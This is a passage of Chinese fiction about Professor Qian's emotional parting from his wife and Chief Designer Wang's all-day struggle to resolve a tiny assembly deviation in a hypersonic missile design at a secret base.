可岁月拉长了时光,他才真正听懂这称呼的温度与重量——暖得让人心酸,又讽刺得让人苦笑。
她伴他多年,他却给不了她长相守,就连短暂的团圆,也要以匆匆的别离收场。
“我对不住你……”这五个字,在他心底翻涌了无数次,此刻终于冲破喉咙,轻声说了出来。
钱夫人转过头,让眼泪无声地藏进鬓角,转过头时,脸上已经恢复了平静。
“行了,别净挑好听的说了,快过来看看,还有什么缺的,我再给你补上。”
“我……”钱教授哽咽着,千言万语,却连一个字都说不出来,
钱夫人勉强笑了笑,“你可别和我解释啊,我懂,你的工作要保密,我也不稀罕知道。有你回来这趟就行了,看见你没事,我就放心了。”
她说着,竭力压下心头的苦涩。
“有人比我,更需要你……”
虽然丈夫从不对她提及工作,但她知道,凭他的才华,一定是在为整个大夏燃烧着心血,奉献着人生。
无论在哪儿,他都在从事着造福整个大夏人民的事业。
既然这样,自己的牺牲和独守,又何尝不是另一种奉献?
战场虽不同,他们却有着同样的勇敢和坚守。
钱教授再也忍不住,快步走上前,默默地和妻子拥抱在一起。
两个人没有再多说一句话,却都懂彼此心底的苦楚和牵挂,都清楚,在民族大义面前,这份别离和牺牲,是他们的必然选择。
“老伴儿,谢谢你。”他声音哽咽。
“照顾好自己……”钱夫人的泪水,流在了丈夫看不见的地方。
“我在家,等你下次回来。”
基地,第一设计室。
各式图纸铺满了长桌,王总设计师埋首在一沓草稿纸前,头也不抬地打着算盘,“噼啪”的声音清脆而单调。他偶尔停顿,提笔在纸上记下一串数字,又继续埋首在冗繁的计算中。
一旁的几名设计师正为一个关键数值产生了分歧,双方反复核对演算,却始终找不到误差的源头。其中一人攥起草稿,起身就要向王总设计师请教,手腕却被身旁的同事一把按住。
对方没有开口,只是无言地向他摇了摇头。
王总设计师从天不亮就坐在这里计算关键数据,谁也不该在这时候去打断他。
先前那名设计师看了眼王总伏案的背影,默默坐回原位,抓起算盘与计算尺,重新开始新一轮的核算。
另一人也重新拿起一张纸,仔细誊抄完之前的结果,开始倒推公式。
一上午的时间悄然过去。
设计师们将各自的计算结果汇总整理,轻轻放在王总桌边。本想喊他一同去吃饭,可看着他眉头微蹙、全神贯注的模样,竟没有一个人敢出声打扰。
几人小声嘀咕一番,干脆从炊事班打来馒头和汤,小心翼翼放在了王总案头。
在这个过程中,他始终没有抬头看同事们一眼,仍
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然心无旁骛地沉浸在数据的世界里。
到了下午,众人继续工作,王总设计师的演算却陷入了瓶颈,一个关键数值始终无法达到理想标准。他不得不停下手中的算盘,拿起设计图重新审视。
这一琢磨,便是又一个下午。
“王总,王总?”
有设计师看看窗外暗下来的天色,终于鼓起勇气提醒他,“到饭点了,您坐在这一天了,怎么也得起来活动活动身子。”
王总设计师摇摇头,眼睛仍盯着面前的草稿,“没事,你们去。我还有一点收尾工作。”
“中午给您打的饭您都没动。不行,司令说了,一定得先注意身体。您跟我们去吃口热的吧。”
“我不要紧。”王总见他们一个个脸色执拗,索性打趣道,“钱老给我们留的作业只有五天,我不得在他回来之前把作业交上去?要不然,他下回怎么安心探亲?”
“那也不差这一顿饭的工夫!”
“放心吧,我有分寸,再有几个小时,保证就算出来了。你们先去。”
“王总,这……”
“对了,把你们的计算结果汇总到我这,一会儿我顺便都看看。”
几名设计师无法,只得先去炊事班。走到门口时,大家不约而同地回头,看着那埋头在灯下的背影,无奈又心疼地摇了摇头。
没人知道,此刻的王总设计师正被一个难题困住:板材改进后的拼装衔接处,始终存在0.0001的微小偏差。别看这个数值如此微小,但如果找不到原因,整个弹体就容易在高超音速飞行与极端压强下发生解体。
但问题到底出现在哪里呢?
他拿起其他几名设计师的手稿,一页页翻看,双方的设计和计算都没有太大问题,可就是在组装上存在瑕疵。
他以手支住额头,在灯下苦苦思索。
渐渐地,他眼前一花。光影快如穿梭,似梦非梦间,他好像回到了当年在鹰国留学时的校园。
高大的香樟树,青翠的绿草地,静静流淌的河水。
金发碧眼的教授手拿一架**模型,在一众学生面前侃侃而谈。
而他好奇地想凑上前去查看结构时,却被同学和教授同时投来鄙夷的目光。